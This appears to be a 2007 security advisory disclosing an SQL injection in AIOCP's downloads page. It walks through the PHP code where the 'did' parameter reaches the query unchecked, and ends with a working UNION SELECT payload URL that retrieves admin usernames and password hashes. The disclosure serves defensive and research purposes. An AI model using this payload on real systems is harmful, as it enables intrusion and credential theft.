Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15715
HistoryJan 13, 2007 - 12:00 a.m.

AIOCP SQL Injection Vulnerability

2007-01-1300:00:00
vulners.com
24

[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: [email protected]
[i] Date: 9.1.2007

[i] Spec: Parameter 'did' is not checked before it's used in a SQL Query so you are able to inject some evil SQL code
Example shows how to retrieve admin MD5 Hash Password
[i] Other infos: This works with magic_quotes_gpc = Off
If aiocp_downloads database is empty this 'll not work!
[i] Workaround: Edit source code to properly check 'did' parameter
No official patch is yet available

[Analysis]

[Step 1] File: AIOCP/public/code/cp_downloads.php

32 if (isset($_REQUEST['did'])) {
33 //display single news
34 F_display_single_download($_REQUEST['did']);
35 }

Now check F_display_single_download() function…

[Step 2] File: AIOCP/shared/code/cp_functions_downloads.php

680 function F_display_single_download($did) {
681 global $l, $db, $selected_language, $aiocp_dp;
682
683 require_once('…/…/shared/config/cp_extension.inc');
684 require_once('…/config/cp_config.'.CP_EXT);
685
686 if(F_count_rows(K_TABLE_NEWS)) { //if the table is void (no items) display message
687 echo "<h2>".$l['m_databasempty']."</h2>";
688 }
689 else { //the table is not empty
690 $wherequery = "WHERE download_id='".$did."'";
691 F_show_fixed_downloads("", 1, $did, 0, $wherequery, "", "", 0, K_MAX_ROWS_PER_PAGE);
692 }
693 }

We notice that $did is passed into $wherequery but it isn't checked… now look F_show_fixed_downloads()

[Step 3] File AIOCP/shared/code/cp_functions_downloads.php

698 function F_show_fixed_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery,
$order_field, $orderdir, $firstrow, $rowsperpage) {
699 global $l, $db, $selected_language, $aiocp_dp;
700 require_once('…/…/shared/config/cp_extension.inc');
701 require_once('…/config/cp_config.'.CP_EXT);
702 ?>
[…]
716 <!-- SHOW downloads ==================== –>
717 <?php
718 F_show_downloads($download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage);
719 ?>

Here $wherequery isn't checked so it's finally passed to "master" function… let's see what happens…

[Step 4] File AIOCP/shared/code/cp_functions_downloads.php

28  function F_show_downloads&#40;$download_category, $viewmode, $selecteddownload, $downloaded, $wherequery, $order_field, $orderdir, $firstrow, $rowsperpage&#41; {
29          global $l, $db, $selected_language;
30          global $term, $submitted, $downloadssearch, $addterms;
31
32          require_once&#40;&#39;../../shared/config/cp_extension.inc&#39;&#41;;
33          require_once&#40;&#39;../config/cp_config.&#39;.CP_EXT&#41;;
34          require_once&#40;&#39;../../shared/code/cp_functions_page.&#39;.CP_EXT&#41;;
35          require_once&#40;&#39;../../shared/code/cp_functions_dynamic_pages.&#39;.CP_EXT&#41;;
36          require_once&#40;&#39;../../shared/code/cp_functions_form.&#39;.CP_EXT&#41;;
    [...]
60          if &#40;isset&#40;$download_category&#41; AND &#40;strlen&#40;$download_category&#41;&gt;0&#41; AND &#40;$download_category==0&#41;&#41; { //select all categories
61                  $wherequery = &quot;WHERE 1&quot;;        [A]
62          }
    [...]
64          if&#40; &#40;!$download_category&#41; AND &#40;!$wherequery&#41; &#41; { // select category [B]
    [...]
76          if&#40;$download_category&#41; {        [C]

106 if (!$wherequery) { [D]
107 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
108 }
109 else { [E]
110 $sql = "SELECT * FROM ".K_TABLE_DOWNLOADS." ".$wherequery." ORDER BY ".$full_order_field." LIMIT ".$firstrow.",".$rowsperpage."";
111 }

Well let's analyze this few cases…

[A] Well we have not $download_category definied so this 'll not be executed
[B] We have definied $wherequery
[C] Same as point A
[D] Same as point B
[E] This is it!
$wherequery is used in the SQL query without any check… so we can inject some evil SQL code…

[POC]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did=[sql]

[Exploit Example]

http://www.example.org/AIOCP/public/code/cp_downloads.php?did=&#39;+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name&lt;&gt;&#39;Anonymous

This 'll show user ID, Name and MD5 Hash Password of the first user after 'Anonymous' user (usually the admin user)